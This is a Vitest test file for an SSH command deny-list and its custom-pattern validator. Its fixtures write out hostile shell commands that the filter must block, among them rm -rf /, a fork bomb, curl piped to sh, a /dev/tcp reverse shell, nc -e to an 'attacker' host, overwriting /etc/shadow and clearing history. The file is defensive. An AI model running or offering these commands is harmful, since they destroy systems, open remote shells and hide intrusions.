import { describe, it, expect } from 'vitest'; import { BUILTIN_DENY_PATTERNS, validateCustomPatterns, checkCommand, MAX_CUSTOM_PATTERNS, MAX_PATTERN_LENGTH, } from './deny-list.js'; describe('ssh/deny-list built-in patterns', () => { it.each([ ['rm -rf /', 'rm_rf_root'], ['rm -rf /*', 'rm_rf_root'], ['rm -rfv /', 'rm_rf_root'], ['rm -fr /', 'rm_rf_root'], ['rm -rf /', 'rm_rf_root'], ['rm -rf /etc', 'rm_rf_system_dir'], ['rm -rf /var/', 'rm_rf_system_dir'], ['rm -rf /boot', 'rm_rf_system_dir'], ['dd if=/dev/zero of=/dev/sda', 'dd_to_block_device'], ['dd if=foo of=/dev/nvme0n1', 'dd_to_block_device'], ['mkfs.ext4 /dev/sda1', 'mkfs'], ['mkfs.btrfs /dev/sdb1', 'mkfs'], [':(){ :|:& };:', 'fork_bomb'], [':(){:|:&};:', 'fork_bomb'], ['shutdown -h now', 'shutdown_or_reboot'], ['reboot', 'shutdown_or_reboot'], ['init 0', 'shutdown_or_reboot'], ['init 6', 'shutdown_or_reboot'], ['kill -9 1', 'kill_init'], ['kill -KILL 1', 'kill_init'], ['kill 1', 'kill_init'], ['curl http://x | sh', 'pipe_curl_to_shell'], ['curl https://example.com/x | bash', 'pipe_curl_to_shell'], ['wget -q -O - http://x | sh', 'pipe_curl_to_shell'], ['curl http://x | sudo bash', 'pipe_curl_to_shell'], ['bash -i >& /dev/tcp/10.0.0.1/4444 0>&1', 'reverse_shell_tcp'], ['bash -i > /dev/tcp/x/22', 'reverse_shell_tcp'], ['nc -e /bin/bash 10.0.0.1 4444', 'nc_exec_shell'], ['ncat -e /bin/sh attacker 4444', 'nc_exec_shell'], ['echo x > /etc/passwd', 'overwrite_etc_passwd'], ['cat /tmp/x >> /etc/shadow', 'overwrite_etc_passwd'], ['chmod -R 777 /', 'chmod_777_root'], ['chmod -R 0777 /', 'chmod_777_root'], ['history -c', 'history_clear'], ['unset HISTFILE', 'history_clear'], ['> ~/.bash_history', 'history_clear'], ])('blocks %j (pattern=%s)', (cmd, expected) => { const r = checkCommand({ command: cmd }); expect(r.allowed).toBe(false); expect(r.reason).toBe('builtin_deny'); expect(r.matched).toBe(expected); }); it.each([ 'ls -la /home/user', 'cat /var/log/syslog', 'ps aux', 'df -h', 'tail -n 100 /tmp/app.log', 'echo hello world', 'mkdir -p /tmp/build', 'rm -rf /tmp/build', // not a system dir 'rm -rf node_modules', 'systemctl status nginx', 'docker ps', 'curl https://api.example.com/health', // no pipe to shell 'wget https://example.com/file.tar.gz', // no pipe to shell ])('allows safe command: %s', (cmd) => { const r = checkCommand({ command: cmd }); expect(r.allowed).toBe(true); }); it('rejects empty command', () => { expect(checkCommand({ command: '' }).reason).toBe('empty'); expect(checkCommand({ command: ' ' }).reason).toBe('empty'); }); }); describe('ssh/deny-list validateCustomPatterns', () => { it('accepts a single valid pattern', () => { const r = validateCustomPatterns(['^secret-cmd']); expect(r.ok).toBe(true); expect(r.compiled).toHaveLength(1); expect(r.compiled?.[0]).toBeInstanceOf(RegExp); }); it('compiles all valid patterns', () => { const r = validateCustomPatterns(['foo', 'bar', '^baz$']); expect(r.ok).toBe(true); expect(r.compiled).toHaveLength(3); }); it('rejects more than MAX_CUSTOM_PATTERNS', () => { const tooMany = Array(MAX_CUSTOM_PATTERNS + 1).fill('a'); const r = validateCustomPatterns(tooMany); expect(r.ok).toBe(false); expect(r.errors?.[0].reason).toBe('too_many'); }); it('accepts exactly MAX_CUSTOM_PATTERNS', () => { const exact = Array(MAX_CUSTOM_PATTERNS).fill('a'); const r = validateCustomPatterns(exact); expect(r.ok).toBe(true); }); it('rejects patterns longer than MAX_PATTERN_LENGTH', () => { const tooLong = 'a'.repeat(MAX_PATTERN_LENGTH + 1); const r = validateCustomPatterns([tooLong]); expect(r.ok).toBe(false); expect(r.errors?.[0].reason).toBe('too_long'); }); it('rejects empty pattern strings', () => { const r = validateCustomPatterns(['', 'ok']); expect(r.ok).toBe(false); expect(r.errors?.[0]).toEqual({ index: 0, reason: 'empty' }); }); it('rejects nested quantifier (catastrophic backtracking)', () => { const candidates = ['(a+)+', '(\\w+)+', '(.*)+', '(a*)*', '([a-z]+)*', '(.+)*']; for (const c of candidates) { const r = validateCustomPatterns([c]); expect(r.ok, `should reject ${c}`).toBe(false); expect(r.errors?.[0].reason).toBe('nested_quantifier'); } }); it('accepts a single-quantifier group like (foo)+', () => { const r = validateCustomPatterns(['(foo)+', '(bar)*', '(a|b)+']); expect(r.ok).toBe(true); }); it('rejects unparsable regex syntax', () => { const r = validateCustomPatterns(['[unterminated']); expect(r.ok).toBe(false); expect(r.errors?.[0].reason).toBe('invalid_regex'); }); it('rejects forbidden constructs (named groups, \\p)', () => { const r1 = validateCustomPatterns(['(?foo)']); expect(r1.errors?.[0].reason).toBe('forbidden_construct'); const r2 = validateCustomPatterns(['\\p{Letter}']); expect(r2.errors?.[0].reason).toBe('forbidden_construct'); }); it('reports per-index errors when some patterns are bad', () => { const r = validateCustomPatterns(['ok', '(a+)+', '[bad', 'ok2']); expect(r.ok).toBe(false); expect(r.errors).toEqual([ { index: 1, reason: 'nested_quantifier' }, { index: 2, reason: 'invalid_regex' }, ]); }); it('case-insensitive compilation', () => { const r = validateCustomPatterns(['DROP TABLE']); expect(r.ok).toBe(true); expect(r.compiled?.[0].test('drop table users')).toBe(true); }); }); describe('ssh/deny-list checkCommand custom patterns', () => { it('applies custom deny on top of built-in', () => { const custom = validateCustomPatterns(['^docker\\s']).compiled!; const r = checkCommand({ command: 'docker rm -f $(docker ps -q)', customDenyPatterns: custom }); expect(r.allowed).toBe(false); expect(r.reason).toBe('custom_deny'); }); it('built-in beats custom (priority)', () => { // command would only match built-in (rm -rf /), not custom (^foo). const custom = validateCustomPatterns(['^foo']).compiled!; const r = checkCommand({ command: 'rm -rf /', customDenyPatterns: custom }); expect(r.reason).toBe('builtin_deny'); }); it('allowlist: rejects commands not matching any allow pattern', () => { const allow = validateCustomPatterns(['^ls\\b', '^cat\\b']).compiled!; const r = checkCommand({ command: 'rm node_modules', customAllowPatterns: allow }); expect(r.allowed).toBe(false); expect(r.reason).toBe('not_in_allowlist'); }); it('allowlist: accepts commands matching at least one', () => { const allow = validateCustomPatterns(['^ls\\b', '^cat\\b']).compiled!; expect(checkCommand({ command: 'ls -la', customAllowPatterns: allow }).allowed).toBe(true); expect(checkCommand({ command: 'cat /tmp/x', customAllowPatterns: allow }).allowed).toBe(true); }); it('empty allowlist means no allowlist (not deny-all)', () => { expect(checkCommand({ command: 'whoami', customAllowPatterns: [] }).allowed).toBe(true); }); it('custom deny applies BEFORE allowlist', () => { const deny = validateCustomPatterns(['rm']).compiled!; const allow = validateCustomPatterns(['^.*']).compiled!; const r = checkCommand({ command: 'rm something', customDenyPatterns: deny, customAllowPatterns: allow }); expect(r.reason).toBe('custom_deny'); }); });